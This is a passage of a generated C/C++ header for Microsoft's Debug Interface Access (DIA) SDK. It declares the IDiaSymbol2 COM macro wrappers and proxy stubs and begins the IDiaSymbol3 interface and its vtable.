IDiaSymbol2_get_compilerGenerated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) \n\n#define IDiaSymbol2_get_addressTaken(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) \n\n#define IDiaSymbol2_get_rank(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_rank(This,pRetVal) ) \n\n#define IDiaSymbol2_get_lowerBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) \n\n#define IDiaSymbol2_get_upperBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) \n\n#define IDiaSymbol2_get_lowerBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_upperBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_dataBytes(This,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) \n\n#define IDiaSymbol2_findChildren(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol2_findChildrenEx(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol2_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) \n\n#define IDiaSymbol2_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) \n\n#define IDiaSymbol2_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) \n\n#define IDiaSymbol2_get_targetSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) \n\n#define IDiaSymbol2_get_targetOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) \n\n#define IDiaSymbol2_get_targetRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol2_get_targetVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol2_get_machineType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) \n\n#define IDiaSymbol2_get_oemId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_oemSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_types(This,cTypes,pcTypes,pTypes)\t\\\n    ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) \n\n#define IDiaSymbol2_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds)\t\\\n    ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) \n\n#define IDiaSymbol2_get_objectPointerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) \n\n#define IDiaSymbol2_get_udtKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) \n\n#define IDiaSymbol2_get_undecoratedNameEx(This,undecorateOptions,name)\t\\\n    ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) \n\n#define IDiaSymbol2_get_noReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) \n\n#define IDiaSymbol2_get_customCallingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) \n\n#define IDiaSymbol2_get_noInline(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) \n\n#define IDiaSymbol2_get_optimizedCodeDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol2_get_notReached(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) \n\n#define IDiaSymbol2_get_interruptReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) \n\n#define IDiaSymbol2_get_farReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isStatic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isLTCG(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isDataAligned(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasSecurityChecks(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) \n\n#define IDiaSymbol2_get_compilerName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasAlloca(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasSetJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasLongJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasInlAsm(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasSEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasEHa(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isNaked(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isAggregated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isSplitted(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) \n\n#define IDiaSymbol2_get_container(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_container(This,pRetVal) ) \n\n#define IDiaSymbol2_get_inlSpec(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) \n\n#define IDiaSymbol2_get_noStackOrdering(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) \n\n#define IDiaSymbol2_get_virtualBaseTableType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasManagedCode(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isHotpatchable(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isCVTCIL(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isMSILNetmodule(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isCTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isStripped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) \n\n#define IDiaSymbol2_get_frontEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol2_get_backEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol2_get_wasInlined(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) \n\n#define IDiaSymbol2_get_strictGSCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isCxxReturnUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isConstructorVirtualBase(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) \n\n#define IDiaSymbol2_get_RValueReference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) \n\n#define IDiaSymbol2_get_unmodifiedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) \n\n#define IDiaSymbol2_get_framePointerPresent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isSafeBuffers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) \n\n#define IDiaSymbol2_get_intrinsic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) \n\n#define IDiaSymbol2_get_sealed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hfaFloat(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hfaDouble(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) \n\n#define IDiaSymbol2_get_liveRangeStartAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol2_get_liveRangeStartAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol2_get_liveRangeStartRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol2_get_countLiveRanges(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) \n\n#define IDiaSymbol2_get_liveRangeLength(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) \n\n#define IDiaSymbol2_get_offsetInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) \n\n#define IDiaSymbol2_get_paramBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_localBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isLocationControlFlowDependent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) \n\n#define IDiaSymbol2_get_stride(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_stride(This,pRetVal) ) \n\n#define IDiaSymbol2_get_numberOfRows(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) \n\n#define IDiaSymbol2_get_numberOfColumns(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isMatrixRowMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) \n\n#define IDiaSymbol2_get_numericProperties(This,cnt,pcnt,pProperties)\t\\\n    ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) \n\n#define IDiaSymbol2_get_modifierValues(This,cnt,pcnt,pModifiers)\t\\\n    ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) \n\n#define IDiaSymbol2_get_isReturnValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isOptimizedAway(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) \n\n#define IDiaSymbol2_get_builtInKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) \n\n#define IDiaSymbol2_get_registerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) \n\n#define IDiaSymbol2_get_baseDataSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) \n\n#define IDiaSymbol2_get_baseDataOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) \n\n#define IDiaSymbol2_get_textureSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) \n\n#define IDiaSymbol2_get_samplerSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) \n\n#define IDiaSymbol2_get_uavSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) \n\n#define IDiaSymbol2_get_sizeInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) \n\n#define IDiaSymbol2_get_memorySpaceKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) \n\n#define IDiaSymbol2_get_unmodifiedTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_subTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_subType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subType(This,pRetVal) ) \n\n#define IDiaSymbol2_get_numberOfModifiers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) \n\n#define IDiaSymbol2_get_numberOfRegisterIndices(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isHLSLData(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isPointerToDataMember(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isPointerToMemberFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isSingleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isMultipleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isVirtualInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) \n\n#define IDiaSymbol2_get_restrictedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isPointerBasedOnSymbolValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) \n\n#define IDiaSymbol2_get_baseSymbol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) \n\n#define IDiaSymbol2_get_baseSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol2_get_objectFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isAcceleratorGroupSharedLocal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isAcceleratorPointerTagLiveRange(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isAcceleratorStubFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) \n\n#define IDiaSymbol2_get_numberOfAcceleratorPointerTags(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isSdl(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isWinRTPointer(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isRefUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isValueUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isInterfaceUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) \n\n#define IDiaSymbol2_findInlineFramesByAddr(This,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) \n\n#define IDiaSymbol2_findInlineFramesByRVA(This,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) \n\n#define IDiaSymbol2_findInlineFramesByVA(This,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) \n\n#define IDiaSymbol2_findInlineeLines(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) \n\n#define IDiaSymbol2_findInlineeLinesByAddr(This,isect,offset,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) \n\n#define IDiaSymbol2_findInlineeLinesByRVA(This,rva,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) \n\n#define IDiaSymbol2_findInlineeLinesByVA(This,va,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) \n\n#define IDiaSymbol2_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) \n\n#define IDiaSymbol2_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) \n\n#define IDiaSymbol2_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags)\t\\\n    ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) \n\n#define IDiaSymbol2_getSrcLineOnTypeDefn(This,ppResult)\t\\\n    ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) \n\n#define IDiaSymbol2_get_isPGO(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasValidPGOCounts(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isOptimizedForSpeed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) \n\n#define IDiaSymbol2_get_PGOEntryCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) \n\n#define IDiaSymbol2_get_PGOEdgeCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) \n\n#define IDiaSymbol2_get_PGODynamicInstructionCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) \n\n#define IDiaSymbol2_get_staticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) \n\n#define IDiaSymbol2_get_finalLiveStaticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) \n\n#define IDiaSymbol2_get_phaseName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) \n\n#define IDiaSymbol2_get_hasControlFlowCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) \n\n#define IDiaSymbol2_get_constantExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) \n\n#define IDiaSymbol2_get_dataExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) \n\n#define IDiaSymbol2_get_privateExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) \n\n#define IDiaSymbol2_get_noNameExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) \n\n#define IDiaSymbol2_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol2_get_exportIsForwarder(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) \n\n#define IDiaSymbol2_get_ordinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) \n\n#define IDiaSymbol2_get_frameSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) \n\n#define IDiaSymbol2_get_exceptionHandlerAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol2_get_exceptionHandlerAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol2_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol2_get_exceptionHandlerVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol2_findInputAssemblyFile(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) \n\n#define IDiaSymbol2_get_characteristics(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) \n\n#define IDiaSymbol2_get_coffGroup(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) \n\n#define IDiaSymbol2_get_bindID(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) \n\n#define IDiaSymbol2_get_bindSpace(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) \n\n#define IDiaSymbol2_get_bindSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) \n\n\n#define IDiaSymbol2_get_isObjCClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isObjCCategory(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) \n\n#define IDiaSymbol2_get_isObjCProtocol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol2_get_isObjCClass_Proxy( \n    IDiaSymbol2 * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol2_get_isObjCClass_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol2_get_isObjCCategory_Proxy( \n    IDiaSymbol2 * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol2_get_isObjCCategory_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol2_get_isObjCProtocol_Proxy( \n    IDiaSymbol2 * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol2_get_isObjCProtocol_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n\n#endif \t/* __IDiaSymbol2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSymbol3_INTERFACE_DEFINED__\n#define __IDiaSymbol3_INTERFACE_DEFINED__\n\n/* interface IDiaSymbol3 */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSymbol3;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"99b665f7-c1b2-49d3-89b2-a384361acab5\")\n    IDiaSymbol3 : public IDiaSymbol2\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_inlinee( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_inlineeId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSymbol3Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSymbol3 * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSymbol3 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSymbol3 * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( 